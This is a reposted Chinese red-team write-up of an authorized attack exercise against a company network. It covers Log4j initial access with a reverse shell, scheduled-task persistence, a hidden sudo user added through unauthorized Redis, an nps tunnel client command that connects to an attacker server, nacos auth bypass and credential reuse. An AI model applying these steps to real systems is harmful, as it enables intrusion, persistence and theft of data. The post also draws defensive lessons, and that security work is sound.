原文始发于先知社区(u21h2):[有手就行]Log4j打点后与管理员斗智斗勇
概述
这是本系列第三篇文章,依旧是某省HVV红队的经历。
过程中只用到很简单的方法,所以加了个标题“有手就行”。
这家企业在内网犯了几乎所有能犯的错误,打起来也比较顺利,只不过当时被管理员发现了,争分夺秒的过程也比较有趣哈哈。
文中内容已做脱敏处理,渗透过程已获得授权, 相关漏洞也已经修复。
所介绍方法请勿用于非法用途!转载请注明出处谢谢。
信息收集
先摸一下这个公司的资产,就用example.com代替域名好了。
发现技术栈比较新,大部分都是前后端分离的,后端的接口有一个统一的网关,梳理下。
列举部分:
前端:https://op.example.com/login 手机或账号登录 可找回密码 没找到
接口:https://webapi.example.com:20860/gateway-dev/usercenter/
前端:http://chm.example.com/login
接口:http://webapi.example.com:20860/chm/
前端:https://oa.example.com/auth/login 爆不出来
接口:http://api.example.com:20242/gateway/organization-center/
前端:https://test.example.com/auth/login 跟oa的界面很像
接口:http://api.example.com:20242/gateway-test/organization-center/
前端:http://cms.example.com/login 失效了
接口:https://api.example.com:20242/authTest/login
前端:https://vm.example.com/login
接口:https://api.example.com:21915/login
Log4j进入内网
其他曲折的打点就不提了,说下成功的。
发现 https://oa.example.com/ 的登录接口存在Log4j漏洞,使用https://github.com/WhiteHSBG/JNDIExploit 的反序列化方法直接反弹shell。
主机上没有EDR,出网(废话),是10段的普通用户。
进来先写个计划任务保证断了之后shell还能弹。
内网横向
第一阶段
内网横向肯定得fscan出场了,这里也推荐下我写的缝合怪,求Star! https://github.com/u21h2/nacs(能扫常见组件和字段的Log4j)。
一般刚开始就扫个C段就行了,好巧不巧,发现了我最喜欢的Redis未授权,进去发现还是root用户,但是不出网。
这种情况我一般会创建一个sudo免密的新用户,就adduser然后visudo就可以了,用户名字起地别太假。
然后在出网的机器用nps搭一个隧道出来,服务端提前配好,客户端就三句话的事。
wget https://github.com//ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz
tar -zxvf linux_amd64_client.tar.gz
nohup ./npc -server=xxx.xxx.xxx.xxx:xxx -vkey=xxx > npc.log 2>&1 &
然后在本地proxifier走这个socks代理,ssh我们创建的用户,这样体验就好一些,反弹shell太难用了。
第二阶段
然后继续内网扫描,首先用扫描器的icmp模块看看内网有多大,然后再扫。
内网不大,就两个C段资产比较多。
我一般习惯先拿非web资产,最后再看web资产。
首先把所有的redis未授权和弱口令都利用了,一共拿到大约12台机器,然后进去翻web服务的配置文件,把数据库密码找到,发现几个经常用的强口令,补充到扫描器里接着爆扫数据库和服务器。
被发现
搞到一半突然发现代理断了,shell也弹不过来了,看了下入口的oa界面,后面的接口直接不通了,应该是oa后端对应的服务器直接关机了。难道是检测到出网流量了?
这不完犊子了吗。
再打个口子
回过头看上边信息收集的资产,test.example.com的界面跟oa很像,而且后端的接口也很像,会不会…?
果然,也有Log4j漏洞,也是普通用户,是另一台机器。
看了下我刚开始redis的跳板还没掉,应该就是出网流量被检测到了。
是HVV最后一天了,资产也不多,不管那么多了。
多找些机器开socks代理接着打。
继续横向
接着来看web服务,发现有很多nacos的服务,都有身份绕过的洞,进去又找到一堆数据库和AK的配置,接着补充到漏扫进行爆破。
还发现了许多生产系统都是弱口令,除了默认口令就是123456和admin123。
比如
还有Flink、Sentinel等等。
又掉了
ssh上去的redis机器又没了,但是代理还有通的,换一台机器接着用就是了。
LDAP
在内网又发现一个LDAP服务的管理端,管控着jira、jenkins等服务。
这玩意应该有一个接口能直接跳转登录吧?可惜我不会,但好在了里面写了能解密的密码,我们可以手动登相关系统。
爆破结果
根据之前补充的密码,又爆破到不少新的数据库和服务器,基本两个C段的资产都拿到了吧,算作打穿了。
还拿到一些AK,能连上OSS看数据,危险啊。
思考
我边打,管理员边关机,还是挺有趣的哈哈。
1.攻:因为是最后一天了,急着刷分交报告,就没有做太多隐藏的手段,导致被管理员发现好多次,不太优雅。
2.防:既然能发现我,说明是有安全设备的,但应该只开了告警,没开阻断模式;只能等管理员上线手动处理,从防守上就被动了。
3.防:这个公司内网犯了挺多错的:密码复用、弱口令、漏洞不修、不隔离、服务器出网。